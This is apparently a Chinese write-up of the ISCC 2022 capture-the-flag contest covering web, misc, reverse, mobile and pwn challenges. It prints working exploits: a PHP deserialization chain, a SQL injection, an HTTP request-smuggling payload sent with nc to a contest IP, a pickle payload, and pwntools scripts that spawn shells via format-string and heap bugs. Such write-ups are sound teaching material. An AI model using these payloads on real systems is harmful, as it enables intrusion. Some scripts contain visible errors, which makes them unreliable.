当前位置:   article > 正文

ISCC 2022 wp_iscc2022 wp

iscc2022 wp

目录

解题步骤及过程:

练武题WP:

Web:

冬奥会:

爱国敬业好青年-2:

Pop2022:

这是一道代码审计题:

Easy-SQL:

Findme:

让我康康!:

misc:

2022冬奥会:

单板小将苏翊鸣:

隐秘的信息:

藏在星空中的诗1:

藏在星空中的诗2:

降维打击:

真相只有一个:

Re:

GetTheTable:

Amy's Code:

How_decode:

Sad Code

VigenereLike:

Bob's Code:

Ruststr:

Mobile:

Mobile A:

MoblieB:

PWN:

create_id

sim_treasure:

untidy_note:

跳一跳:

擂台题WP:

MISC:

666:

Web:

Melody:

Ping2rce:

PWN:

Ezuaf:

RE:

Encode:


解题步骤及过程:

练武题WP:

Web:

冬奥会:

点进后发现php代码,数组绕过即可。

  1. Payload:
  2. ?Information={"year":"x","items":[0,[],0]}

爱国敬业好青年-2:

手动扫了一下,发先有一个/change目录,显示了一个Open,肯定是有用的。

既然是爱国敬业好青年,我先尝试了北京的经纬度,又尝试了北京天安门的经纬度。

现在要想一下如何提交,肯定不是初始页面,存在挟持。

发现存在/flag目录,于是尝试提交,但很多次都没成功,必须先访问change,回显Open后在提交。

说实话,脑洞有亿些大。

Pop2022:

反序列化,找到了原题,直接写。

Exp:

  1. <?php
  2. class Road_is_Long{
  3.     public $page;
  4.     public $string;
  5.     public function __construct($file='index.php'){
  6.         $this->page = $file;
  7.     }
  8.     public function __toString(){
  9.         return $this->string->page;
  10.     }
  11.     public function __wakeup(){
  12.         if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
  13.             echo "You can Not Enter 2022";
  14.             $this->page = "index.php";
  15.         }
  16.     }
  17. }
  18. class Try_Work_Hard{
  19.     protected $var = 'flag.php';
  20.     public function append($value){
  21.         include($value);
  22.     }
  23.     public function __invoke(){
  24.         $this->append($this->var);
  25.     }
  26. }
  27. class Make_a_Change{
  28.     public $effort;
  29.     public function __get($key){
  30.         $function = $this->effort;
  31.         return $function();
  32.     }
  33. }
  34. $mac = new Make_a_Change();
  35. $mac->effort = new Try_Work_Hard();
  36. $ril1 = new Road_is_Long();
  37. $ril1->string = $mac;
  38. $ril2 = new Road_is_Long();
  39. $ril2->page = $ril1;
  40. echo urlencode(serialize($ril2));
  1. paylod:
  2. wish=O%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BO%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BN%3Bs%3A6%3A"string"%3BO%3A13%3A"Make_a_Change"%3A1%3A%7Bs%3A6%3A"effort"%3BO%3A13%3A"Try_Work_Hard"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B%7D%7D%7Ds%3A6%3A"string"%3BN%3B%7D

这是一道代码审计题:

打开后访问/index显示404,查看cookie后发现存在login,试了一下login=1,或者删除也行。

然后加上后缀?url=127.0.0.1,发现存在./static/code.txt文件。

打开后发现base100加密后的代码。

得到代码:

  1. def geneSign():
  2.     if(control_key==1):
  3.         return render_template("index.html")
  4.     else:
  5.         return "You have not access to this page!"
  6. def check_ssrf(url):
  7.     hostname = urlparse(url).hostname
  8.     try:
  9.         if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
  10.             if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
  11.                 raise BaseException("url format error")
  12.         if  re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
  13.             if judge_ip(hostname):
  14.                 return True
  15.             return False, "You not get the right clue!"
  16.         else:
  17.             ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]
  18.             if is_inner_ipaddress(ip_address):
  19.                 return False,"inner ip address attack"
  20.             else:
  21.                 return False, "You not get the right clue!"
  22.     except BaseException as e:
  23.         return False, str(e)
  24.     except:
  25.         return False, "unknow error"
  26. def ip2long(ip_addr):
  27.     return struct.unpack("!L", socket.inet_aton(ip_addr))[0]
  28. def is_inner_ipaddress(ip):
  29.     ip = ip2long(ip)
  30.     print(ip)
  31.     return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24
  32. def waf1(ip):
  33.     forbidden_list = [ '.', '0', '1', '2', '7']
  34.     for word in forbidden_list:
  35.         if ip and word:
  36.             if word in ip.lower():
  37.                 return True
  38.     return False
  39. def judge_ip(ip):
  40.     if(waf1(ip)):
  41.         return Fasle
  42.     else:
  43.         addr = addr.encode(encoding = "utf-8")
  44.         ipp = base64.encodestring(addr)
  45.         ipp = ipp.strip().lower().decode()
  46.         if(ip==ipp):
  47.             global control_key
  48.             control_key = 1
  49.             return True
  50.         else:
  51.             return False

发现存在sstf,构造url= http://@MTI3LjAuMC4x

然后利用这个cookie和路径。

试了许多,到最后xxe成功了。

Easy-SQL:

找到了一道类似的题。

网址:

[2020网络安全管理职业技能竞赛全国选拔赛]ezsqli_末 初的博客-CSDN博客

先尝试了几下:

想办法得到emali,select被过滤,利用table找email。

尝试了一会发现ypHeMPardErE.zip,直接访问即可得到。

发现zip里边有一个index.php代码文件,查看代码,发现和网址中的代码一样。

  1. payload:
  2. POST:username=1'/**/union/**/select/**/1,0x61646d696e,3%23&passwd=3

Findme:

进入网站,f12查看存在unser.php文件,直接访问。

存在反序列化漏洞,利用php原生类,遍历目录。

  1. EXP:
  2. <?php
  3. class a{
  4.     public $un0='DirectoryIterator';
  5.     public $un1='glob://f*';
  6.     public $un2;
  7.     public $un3='unserialize';
  8.     public $un4;
  9.   
  10. }
  11. $a = new a();
  12. echo serialize($a);

然后传入即可。

发现存在flllHL91244ggg-SecR1et.txt文件。访问即可得到flag。 

让我康康!:

多次尝试漏洞类型,发现了flag在/fl4g中。

发现了后端服务器类型为gunicorn/20.0.0,网上搜索相关漏洞,发现存在其存在服务器差异,可以利用服务器的差异来运用高级漏洞http走私,还顺便看了一些文章。

  1. payload
  2. GET / HTTP/1.1\r\n
  3. Host: 127.0.0.1\r\n
  4. \r\n
  5. Content-Length: 67\r\n
  6. Sec-Websocket-Key1: x\r\n
  7. \r\n
  8. xxxxxxxxGET /fl4g HTTP/1.1\r\n
  9. Host: localhost\r\n
  10. Content-Length: 35\r\n
  11. \r\n
  12. GET / HTTP/1.1\r\n
  13. Host: 127.0.0.1\r\n
  14. \r\n

然后回显只有本地人才能的获得flag,加一个secr3t_ip: 127.0.0.1即可。

可以用nc直接得到flag。

echo -en "POST / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 76\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxPOST /fl4g HTTP/1.1\r\nHost: localhost\r\nContent-Length: 55\r\n\r\nPOST / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020

Flag为ISCC{Let9_M1_sE1_s0m1ThInG_gO0dhhh}

misc:

2022冬奥会:

打开发现flag文件有密码,然后一张图片。

猜测密码为灯笼。

利用记事本打开即可。

单板小将苏翊鸣:

Zip文件,放到010Editor中,修改一下信息

得到:

扫描二维码然后解密,得到解压密码:15942

然后输入即可得到flag。

隐秘的信息:

现在附件后会发现有加密,题目给的有一穿加密字符,base64试一下。

当作密码尝试一下,成功进入,发现一张图片,用stegsolve打开,查看lsb通道。

发现啥都没有,尝试了好多方法,都不行,感觉就应该是lsb通道。

发现前几行有点特别,放进hex转码一下。

刚开始乱码,然后一个一个删,尝试。

得到flag。

藏在星空中的诗1:

按照五角星的画法明显顺序是13524.

将Poem里的东西排列一下即是密码,然后对比。

即可得到flag。

藏在星空中的诗2:

打开就一个txt文件,其他啥都没有猜测文件即使flag。

开头肯定是ISCC,发现六个为一组,而且前两个一样。

和Escape/unEscape编码类似,本来想直接猜测对应字母,发现少了许多,想起来第一题中有一个xls文件可以对应,因为知道了开头的ISCC{和结尾的},为了省事直接从括号里边开始。

对应出解码一下便是flag

降维打击:

得到图片后先用binwalk看一下。

命令:binwalk 图片(图片要放在binwalk下)

然后分离。

命令:dd if=1.png of=3.jpg skip=290500 bs=1

之后会发现binwalk中多出一个3.jpg。

然后将3.jpg放入esteg中。

先用:zsteg -a 3.jpg

再用:zsteg -e b1,r,lsb,yx 3.jpg -> 1.jpg

然后得到图片

和图片比对

得到flag。

真相只有一个:

打开得到三个文件,猜测flag在flag.txt中,但被隐藏起来,发现stream中存在压缩文件.

利用010Editor来改变hex头;

另存为1.zip,得到压缩文件,发现有密码,密码应该在图片中。

利用StegSolve文件查看通道,发现密码:

虽然不对,但是应该没有问题,估计是后边还有,爆破得到密码:19981111;

得到流量文件。

导出mp3文件。

发现摩斯电码:../.../-.-./-.-./--/../.../-.-.

解密得:

利用SNOW.EXE得到flag:

Re:

GetTheTable:

文件用ida打开。

找到main函数,反编译。

题目给的提示,找到正确的解密方式。

利用工具试一下。

Base58解码得到flag。

Amy's Code:

打开文件,用ida32打开,先shift+f12。

双击进入correct中

进入main中。

跟进,f5反编译,然后进入sub_411433

在进入sub_412550。

Python脚本解密得到flag:

  1. a=[149,169,137,134,212,188,177,184,177,197,192,179,153,197,190,126,108,159,191,184]
  2. b='LWHFUENGDJGEFHYDHIGJ'
  3. flag=''
  4. str=''
  5. for i in range(len(b)):
  6.     str = str + chr(a[i]-ord(b[i]))
  7. for j in range(len(a)):
  8.     flag = flag + chr(ord(str[j])^j)
  9. print(flag)

How_decode:

文件用ida打开,搜索main函数反编译,发现数据。

  1. Exp:
  2. #include <iostream>
  3. using namespace std;
  4. int main(int argc,char *argv[])
  5. {
  6.     string Flag = "ISCC{012345678901}";
  7.     int key[4] ={'I', 'S', 'C', 'C'};//格式
  8.     int x = 18;//十八个变量数组
  9.     int flagI[18];
  10.     printf("请输入ida中的18个变量:");//用空格隔开
  11.     for(int i=0;i<18;i++) //输入ida中的变量。
  12.     {
  13.            scanf("%d",&flagI[i]);
  14.        }
  15.     int z = 52/x + 6;
  16.     int basic1 = z * -0x61C88647;
  17.    
  18.     int y = flagI[0];
  19. for (; z--;)
  20.  {
  21.         int basic2 = (basic1 >> 2) & 3;
  22.        
  23.         for (int a=x-1; a>=0; a--) {
  24.             int b = flagI[(a + x - 1)%x];
  25.             flagI[a] -= ((y ^ basic1) + (b ^ key[basic2 ^ (a & 3)])) ^ (((4 * y) ^ (b >> 5)) + ((y >> 3) ^ (16 * b)));
  26.             y = flagI[a];
  27.         }
  28.        
  29.         basic1 = 156 + 0x61C88647;
  30.     }
  31.     printf("flag如下:");
  32.     for (int j=0;j<x;j++)
  33.         cout << (char)flagI[j];
  34.     cout << endl;
  35.     return 0;
  36. }

将变量输入即可得到flag。

Sad Code

搜索找到main函数,f5反编译。

找到解题关键。

先放入脚本一:

  1. from z3 import *
  2. s = Solver()
  3. a=[Int('a[%d]'%i) for i in range(7)]
  4. b=Int('b')
  5. //以下都是ida中的值
  6. s.add(a[1] + 7 * a[0] - 4 * b - 2 * a[2] == 0x1FEE9B3DB)
  7. s.add(5 * a[2] + 3 * a[1] - a[0] - 2 * b == 0x12EF33D88)
  8. s.add(2 * a[0] + 8 * a[2] + 10 * b - 5 * a[1] == 0x47293F299)
  9. s.add(7 * b + 15 * a[0] - 3 * a[2] - 2 * a[1] == 0x7D3D1DA46)
  10. s.add(15 * a[3] + 35 * a[6] - a[4] - a[5] == 0x10359D2A4C)
  11. s.add(38 * a[5] + a[3] + a[6] - 24 * a[4] == 0x330898232)
  12. s.add(38 * a[4] + 32 * a[3] - a[5] - a[6] == 0x1650EEAB9D)
  13. s.add(a[3] + 41 * a[5] - a[4] - 25 * a[6] == 0x2B9ED1A3E)
  14. if s.check():
  15.     print(s.model())

得到的值再放入脚本二:

  1. from Crypto.Util.number import long_to_bytes
  2. a=[0]*7
  3. a[2] = 1143816531
  4. a[4] = 1414999372
  5. b = 1230193475
  6. a[6] = 1464291709
  7. a[3] = 1397509185
  8. a[1] = 1297629761
  9. a[5] = 1178879054
  10. a[0] = 2068924756
  11. FLAG=long_to_bytes(b)
  12. for i in a:
  13.     FLAG+=long_to_bytes(i)
  14. print(FLAG)

即可得到flag。

VigenereLike:

将文件放入ida中打开,进入main函数查看。

发现存在加密信息,写脚本解密即可。

Exp:

  1. def fjl(x,y):#比大小
  2.     if x > y: return 0
  3.     else: return -1
  4. def fjl2(sum):
  5.     a=sum&1
  6.     return a==0
  7. def fjl3():
  8.     print("得到flag:")
  9. x = [0xe4, 0x3d, 0x80, 0x24, 0xc7, 0x0d, 0xa3, 0xba,
  10.      0x00, 0xc7, 0x05, 0x8c, 0x64, 0x97, 0x4e, 0x0a,
  11.      0x3e, 0x4b, 0x51, 0x07, 0x8f, 0x79, 0x60, 0x5b, 0x9b]#脚本1解码后的16进制数
  12. y = [ 0x9A, 0x78, 0xB6, 0x12, 0xBE, 0x66, 0x8D, 0xCF, 0x51, 0x9E,
  13.     0x63, 0xCB, 0x4A, 0xD1, 0x1A, 0x59, 0x78, 0x1C, 0x17, 0x73,
  14.     0xF2, 0x1D, 0x05, 0x2F, 0xF0, 0xD7, 0xB3, 0x22, 0x5D, 0xAD,
  15.     0x0B, 0xE2]
  16. k = [0x32, 0x63, 0x65, 0x61, 0x39, 0x66, 0x30,
  17.      0x34, 0x63, 0x36, 0x33, 0x62, 0x34, 0x32, 0x38, 0x33, 0x39, 0x34, 0x30, 0x65,
  18.      0x63, 0x30, 0x65, 0x36, 0x64, 0x32, 0x39, 0x62, 0x65, 0x32, 0x38, 0x64]
  19. kk = []
  20. z = ''
  21. print("调试:\n")
  22. for i in range(len(x)):
  23.     kk.append(x[i]^y[i])
  24. for i in range(len(kk)):
  25.     for j in range(128):
  26.         if (fjl((k[i]+0xd0)&0xff,0xa) + j +2)&0xff == kk[i]:
  27.             z = z + chr(j)
  28.             print(z)
  29.             break
  30. flag=list(z[::-1])
  31. for j in range(len(flag)):
  32.     if ord('a') <= ord(flag[j]) <= ord('z'):
  33.         flag[j] = chr(ord(flag[j])^0x20)
  34.     elif ord('A') <= ord(flag[j]) <= ord('Z'):
  35.         flag[j] = chr(ord(flag[j])^0x20)
  36.     elif ord('0') <= ord(flag[j]) <= ord('9'):
  37.         a = ord(flag[j]) + 1
  38.         b = ord(flag[j]) - 1
  39.         if fjl2(ord(flag[j])):
  40.             flag[j] = chr(a)
  41.         else:
  42.             flag[j] = chr(b)
  43.     else:
  44.             pass
  45. print("最终flag如下:")
  46. for i in range(len(flag)):
  47.     print(flag[i],end='')#输出flag

Bob's Code:

Ida32打开文件,搜索main函数,在main_0中找到了str1和str2,比较一下。

查看str1的处理。

还需要对base换表,然后用exp跑出脚本。

  1. import base64
  2. #HN-fjl
  3. def printinfo():
  4.     print('--'*30)
  5.     print('flag如下:')
  6. x=list\
  7.     ('.W1BqthGbfihKthkzV1tYc.hl5oY5qcbJ3XhXQXXlRoWBWdhRTXORpf1RwoF0.')
  8. y=len(x)
  9. for j in range(y):
  10.  if 'a'<=x[j]<='z':
  11.      x[j] = chr(((ord(x[j])-97-2)%26)+97)
  12.  elif 'A'<=x[j]<='Z':
  13.      x[j] = chr(((ord(x[j])-65-2)%26)+65)
  14. printinfo()
  15. y=''.join(x)+'=='
  16. print(base64.b64decode(base64.b64decode(y.translate(str.maketrans(str1,str2)))))

Ruststr:

用ida64打开iscc_reverse文件,然后查看main函数,发现。

像是base解密,尝试一下,发现只有base64解开然后是乱码。

之后尝试一下hex头解码。

利用脚本1:

  1. import base64
  2. # base64解码
  3. def base64_decode(base64_data):
  4.    temp = base64.b64decode(base64_data).hex()
  5.    return temp
  6. data = "5D2AJMcNo7oAxwWMZJdOCj5LUQePeWBbmw=="
  7. tem = base64_decode(data)
  8. print(tem)


#结果:e43d8024c70da3ba00c7058c64974e0a3e4b51078f79605b9b

得到16进制数。

再利用脚本2:

  1. def fjl(x,y):#比大小
  2.     if x > y: return 0
  3.     else: return -1
  4. def fjl2(sum):
  5.     a=sum&1
  6.     return a==0
  7. def fjl3():
  8.     print("得到flag:")
  9. x = [0xe4, 0x3d, 0x80, 0x24, 0xc7, 0x0d, 0xa3, 0xba,
  10.      0x00, 0xc7, 0x05, 0x8c, 0x64, 0x97, 0x4e, 0x0a,
  11.      0x3e, 0x4b, 0x51, 0x07, 0x8f, 0x79, 0x60, 0x5b, 0x9b]#脚本1解码后的16进制数
  12. y = [ 0x9A, 0x78, 0xB6, 0x12, 0xBE, 0x66, 0x8D, 0xCF, 0x51, 0x9E,
  13.     0x63, 0xCB, 0x4A, 0xD1, 0x1A, 0x59, 0x78, 0x1C, 0x17, 0x73,
  14.     0xF2, 0x1D, 0x05, 0x2F, 0xF0, 0xD7, 0xB3, 0x22, 0x5D, 0xAD,
  15.     0x0B, 0xE2]
  16. k = [0x32, 0x63, 0x65, 0x61, 0x39, 0x66, 0x30,
  17.      0x34, 0x63, 0x36, 0x33, 0x62, 0x34, 0x32, 0x38, 0x33, 0x39, 0x34, 0x30, 0x65,
  18.      0x63, 0x30, 0x65, 0x36, 0x64, 0x32, 0x39, 0x62, 0x65, 0x32, 0x38, 0x64]
  19. kk = []
  20. z = ''
  21. print("调试:\n")
  22. for i in range(len(x)):
  23.     kk.append(x[i]^y[i])
  24. for i in range(len(kk)):
  25.     for j in range(128):
  26.         if (fjl((k[i]+0xd0)&0xff,0xa) + j +2)&0xff == kk[i]:
  27.             z = z + chr(j)
  28.             print(z)
  29.             break
  30. flag=list(z[::-1])
  31. for j in range(len(flag)):
  32.     if ord('a') <= ord(flag[j]) <= ord('z'):
  33.         flag[j] = chr(ord(flag[j])^0x20)
  34.     elif ord('A') <= ord(flag[j]) <= ord('Z'):
  35.         flag[j] = chr(ord(flag[j])^0x20)
  36.     elif ord('0') <= ord(flag[j]) <= ord('9'):
  37.         a = ord(flag[j]) + 1
  38.         b = ord(flag[j]) - 1
  39.         if fjl2(ord(flag[j])):
  40.             flag[j] = chr(a)
  41.         else:
  42.             flag[j] = chr(b)
  43.     else:
  44.             pass
  45. print("最终flag如下:")
  46. for i in range(len(flag)):
  47.     print(flag[i],end='')#输出flag

最终得到flag。

Mobile:

Mobile A:

利用jadxgui打开后发现flag被分为两部分,一部分为AES加密,一部分为md5;

AES中的密钥为K@e2022%%y的base64加密。

偏移为:I&V2022***的base64加密。

内容为STk0OU11bnZiWCtvZGtpSUswK3Q2aHZxd2x2bTlIYkRjTFV4OWhZdEowbz0=的base64解密值。

得到第一部分flag:

然后是第二部分flag;

利用脚本获得:

先将eauals中的值放入a中

  1. a=' '#需要放入其中的值
  2. b=\
  3.     [20,19,12,11,4,3,21,18,13,10,5,2,22,17,14,9,6,1,23,16,15,8,7,0]
  4. for j in b:
  5.     print(a[j],end='')
  6. 然后用上一个脚本中的值的放入下边的a中
  7. import base64
  8. def base64_decode(base64_x):
  9.     y=base64.b64decode(base64_x).hex()
  10.     return y
  11. a = ""#上一个脚本的运行结果
  12. flag=base64_decode(a)


print(flag)#最后还需要md5解码。

运行然后将得到的值md5解密即可;

得到第二部分为no;

连起来即可得到flag。

MoblieB:

先利用jadxgui打开得到apk文件,得到加密的一串数字。

然后改后缀解压得到一些文件。

一个一个放入ida中,发现在so文件后一直有:

十二串字符,调试几次偏移,得到flag。

利用脚本:

  1. def phpinfo():
  2.     print('flag如下:')
  3. x="5240520105205230123054040513013050130"[:-1]#查看apk得到的值
  4. #下边是解压后ida中的值。
  5. y="MTURVPYCJGZOQNKASEWFIXBHLD"
  6. y=y+y
  7. z="CKTUVBXSAFJDGHIMNYZOPQRWEL"
  8. z=z+z
  9. m="WXOPZGNVYDEFIJCBKARLUQHMST"
  10. m=m+m
  11. i="FBSNOPMACKDRQITUVWHZLJXYGE"
  12. i=i+i
  13. n="OMEJCXYFZBQRAPGSDTINKLUHVW"
  14. n=n+n
  15. q="XASQGMTFIRBVHEJUOCDYZPKLNW"
  16. q=q+q
  17. g="EHWUVRYOPQSIBXJACTZGMNDFLK"
  18. g=g+g
  19. p="VWNIKAXMOGHLZBRDQJEUYFPCST"
  20. p=p+p
  21. a="FDXYUKOPJMBCZLIGNVWSTEHAQR"
  22. a=a+a
  23. f="NSKBRTUZEJOPGHIFXCDAVWQYLM"
  24. f=f+f
  25. b="CLYMVHXASTKNWIUOPZJDBQGREF"
  26. b=b+b
  27. l="AYTNCBDRSQLZWXOPKJGEHIMFUV"
  28. l=l+l
  29. bian=[5,1,51,2,52,12,512,3,53,13,513,23,523,123,5123,4,54,14,514,24,524,124,5124,34,534,134,5134,234,5234,1234,51234]
  30. x=list(map(int,x.split("0")))
  31. o="ABCDEFGHIJKLMNOPQRSTUVWXYZ"#列出
  32. t=[]
  33. for r in x:
  34.       t.append(o[bian.index(r)])
  35. s=[y,z,m,i,n,q,g,p,a,f,b,l]
  36. phpinfo()
  37. for r in range(12):
  38.       print(s[r][s[r].index(t[r],26)-9],end='')#结果加上ISCC{}即可。

得到flag。

Flag为ISCC{结果}。

PWN

create_id

check一下发现是32程序。

所以将文件放在ida32中打开,查看main函数。

发现存在格式化字符串漏洞,让x==9,进入flag()函数,可以直接cat到flag,所以利用漏洞将x的值修改为9。

Exp:

  1. from pwn import *
  2. def tishi():
  3.      print("flag在后边:")
  4. a = remote('123.57.69.203',5310)
  5. x = int(a.recvuntil('\n')[:-1],16)
  6. a.sendline('6')
  7. a.sendline('7')
  8. a.sendline('8')#使x的值为9,即可得到flag。
  9. a.sendlineafter("What's your name?\n",b"%9c%12$n"+p32(x))
  10. Flag = a.recvuntil("}")
  11. tishi()
  12. print(Flag)

sim_treasure:

ida打开查看发现为循环格式化字符串漏洞。

测定偏移量为6,然后打印libc_start_main的地址,计算基地址偏移量,将system写到code段,code地址距离main长度为3

  1. from pwn import *
  2. context(arch='i386')
  3. def tiqu():
  4.     print("利用ls和cat发现并得到flag")
  5. x = remote('123.57.69.203',7010)
  6. tiqu()
  7. a = ELF("sim_treasure")#将文件名字改为sim_treasure
  8. b = ELF("libc-2.27.so")
  9. offset = 6 #偏移量
  10. x.recvuntil("Can you find the magic word?\n")
  11. x.sendline('%35$p')
  12. b_base = int(x.recvuntil(b'\n')[:-1],16)-b.symbols['__libc_start_main']-241
  13. system = b_base+b.symbols['system']#利用system命令来得到flag。
  14. sh = b_base+0x17E3CF
  15. success(hex(b_base))
  16. x.sendline('%3$p')
  17. code_addr = int(x.recvuntil(b'\n')[:-1],16)-0x16CA
  18. success(hex(code_addr))
  19. x.sendline('%2$p')
  20. eip_addr = int(x.recvuntil(b'\n')[:-1],16)+4
  21. Payload = fmtstr_payload(offset,{code_addr+0x2A60:system})
  22. x.sendline(Payload)
  23. x.send(b'/bin/sh\x00')
  24. sleep(0.3)
  25. x.interactive()

然后ls一下发现flag.txt文件,继续cat即可。

untidy_note:

将文件放入ida中,经查看发现存在UAF和堆溢出漏洞,写入eval和system得到flag。

  1. from pwn import *
  2. context(arch='amd64')
  3. fp1 = 'untidy_note'
  4. r = remote('123.57.69.203',7030)
  5. print("利用ls和cat得到flag")
  6. fp2 = ELF(fp1)#获取文件信息
  7. fp3 = ELF('libc-2.27.so')#获取文件信息
  8. def Edit(index,payload):
  9.     r.sendlineafter("Your choose is:\n",'3')
  10.     r.sendlineafter("index:\n",str(index))
  11.     r.sendlineafter("the size is:\n",str(len(payload)))
  12.     r.sendafter("Content:\n",payload)
  13. def Free(index):
  14.     r.sendlineafter("Your choose is:\n",'2')
  15.     r.sendlineafter("index:\n\n",str(index))
  16. def Show(index):
  17.     r.sendlineafter("Your choose is:\n",'4')
  18.     r.sendlineafter("index:\n",str(index))
  19. def Allocate(size=0x18):
  20.     r.sendlineafter("Your choose is:\n",'1')
  21.     r.sendlineafter("the note size is:\n",str(size))
  22. r.sendlineafter("Welcome to use untidy_note,Your name is:"
  23.                 "",'HN-fjl')
  24. for i in range(26):
  25.     Allocate(0x1f)
  26. Allocate(0x8)
  27. for j in range(26):
  28.     Free(j)
  29. Edit(26, b'a'*0x18+p32(0x11))
  30. Allocate()
  31. Allocate()
  32. Show(1)
  33. fp3_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-998-10-fp3.symbols['__malloc_hook']
  34. free_hook = fp3_base+fp3.symbols['__free_hook']
  35. system = fp3_base+fp3.symbols['system']
  36. success("system -> "+hex(system))
  37. success("fp3_base -> "+hex(fp3_base))
  38. Allocate(0x1f)
  39. Allocate(0x1f)
  40. Allocate(0x1f)
  41. Allocate(0x1f)
  42. Allocate(0x1f)
  43. Allocate(0x1f)
  44. Allocate(0x1f)
  45. Free(4)
  46. Free(5)
  47. Free(6)
  48. Edit(6,p64(free_hook))
  49. Allocate(0x1f)
  50. Allocate(0x1f)
  51. Edit(8,p64(system))
  52. Allocate(0x18)
  53. Edit(9,b'/bin/sh\x00')
  54. Free(9)
  55. r.interactive()

然后ls一下,发现flag.txt,继续cat flag.txt即可。

跳一跳:

Ida打开文件,查看后发现check不到啥,尝试了好久,最后发现为泄露Canary和栈迁移漏洞。

Exp:

  1. from pwn import *
  2. def fjl():
  3.     printf("----------------------------------")
  4.     printf("flag如下:")
  5. context.log_level='debug'
  6. ip = remote('123.57.69.203',7020)#题目给的地址
  7. fp1 = ELF('pwn')#题目给的文件
  8. fp2=ELF('fp2-2.27.so')
  9. ip.sendlineafter('Hello CTFer! Welcome to the world of pwn~',str(0x61))
  10. for i in range(216):
  11.     ip.sendline(str(0x61))
  12. ip.send('b')
  13. ip.recvuntil('a'*217)
  14. canary=u64(ip.recv(7).rjust(8,'\x00'))
  15. rbp=u64(ip.recv(6).ljust(8,'\x00'))
  16. log.info(hex(canary))
  17. log.info(hex(rbp))
  18. payload='a'*216+p64(canary)+p64(0)+p8(0x98)
  19. ip.send(payload)
  20. ip.sendlineafter('Hello CTFer! Welcome to the world of pwn~',str(0x61))
  21. for i in range(87):
  22.     ip.sendline(str(0x61))
  23. ip.send('b')
  24. ip.recvuntil('a'*88)
  25. x=u64(ip.recv(6).ljust(8,'\x00'))
  26. log.info(hex(x))
  27. fp2_base = x-fp2.symbols['_ip_2_1_stderr_']y
  28. y= fp2_base+0x4f2c5
  29. payload = 'a'*216+p64(canary)+p64(0)+p64(y)
  30. fjl()
  31. ip.send(payload)
  32. ip.interactive()

擂台题WP:

MISC:

666:

打开后发现一个图片和一个flag的压缩包,不用想压缩包密码一定在图片里,尝试用Stegsolve打开文件查看,发现存在加密,尝试密码爆破,密码为123456,但还是什么都没有,想到可能是高度被改,于是改变了高度,的到密码!@#$%678()_+。

到这里就卡了好长时间,因为分析不出flag,最后在追踪tpc流时发现了一个网址,尝试访问试一下。

网址为:666 - Kong-lingdi - 博客园

发现图片666。

分析一下得到两个加密。

图片中有三段加密。

第一个:SE1ERWtleTo4NTIgOTg3NDU2MzIxIDk4NDIzIDk4NDIzIFJFQUxrZXk6eFN4eA==

第二个:pQLKpP/

第三个:EPmw301eZRzuYvQ==

第一个base64解密得到ISCC,然后以ISCC为秘钥再aes解密第二第三个得到flag。

Web:

Melody:

发现可以登录,随便登陆进去,找了一会什么都没有,就只有一个session构造。

但没有key。

搜目录后有一个info回显。

在网上看到过可以用?name={{config}}来得到key,这一题有一个Melody,也相当于题的name。

所以用?Melody={{config}}来得到,config是配置文件,一般用来设置秘钥,设置数据库地址等;

得到key:meldoy-is-so-cute-wawawa!

利用脚本来伪造session

传进session。

发现代码

  1. # -*- coding:utf-8 -*-
  2. import pickle
  3. import melody
  4. import base64
  5. from flask import Flask, Response,request
  6. class register:
  7.     def __init__(self,name,password):
  8.         self.name = name
  9.         self.password = password
  10.     def __eq__(self, other):
  11.         return type(other) is register and self.name == other.name and self.password == other.password
  12. class RestrictedUnpickler(pickle.Unpickler):
  13.     def find_class(self, module, name):
  14.         if module[0:8] == '__main__':
  15.             return getattr(sys.modules['__main__'],name)
  16.         raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
  17. def find(s):
  18.     return RestrictedUnpickler(io.BytesIO(s)).load()
  19. @app.route('/therealflag', methods=['GET','POST'])
  20. def realflag():
  21.     if request.method == 'POST':
  22.         try:
  23.             data = request.form.get('melody')
  24.             if b'R' in base64.b64decode(data):
  25.                 return 'no reduce'
  26.             else:
  27.                 result = find(base64.b64decode(data))
  28.                 if type(result) is not register:
  29.                     return 'The type is not correct!'
  30.             correct = ((result == register(melody.name,melody.password))&(result == register("melody","hug")))
  31.             if correct:
  32.                 if session['username'] == 'admin':
  33.                     return Response(read('./flag.txt'))
  34.                 else:
  35.                     return Response("You're not admin!")
  36.         except Exception as e:
  37.             return Response(str(e))
  38.     test = register('admin', '123456')
  39.     data = base64.b64encode(pickle.dumps(test)).decode()
  40.     return Response(data)

主要查看@后边的,一种picke反序列化,没接触过。

网上找了个脚本,稍微修改了一下:

  1. import base64
  2. data=b'''c__main__
  3. melody
  4. (S'name'
  5. S"melody"
  6. S"hug"
  7. S"1"
  8. db0(c__main__
  9. register
  10. S"melody"
  11. S"hug"
  12. o.
  13. '''
  14. print(base64.b64encode(data))

因为是POST传参,所以直接传入

melody=Y19fbWFpbl9fCm1lbG9keQooUyduYW1lJwpTIm1lbG9keSIKUyJodWciClMiMSIKZGIwKGNfX21haW5fXwpyZWdpc3RlcgpTIm1lbG9keSIKUyJodWciCg==

得到flag,交flag时把flag去掉变为ISCC{}格式,ISCC{2022_melody_secrets}。

Ping2rce:

通过分析http响应头看到了GoAhead,想到了命令执行漏洞。

考点是GoAhead环境变量注入。

CVE-2021-42342 GoAhead 远程命令执行漏洞。

【最新漏洞预警】CVE-2021-42342 GoAhead 远程命令执行漏洞深入分析与复现(警惕!影响范围广泛)

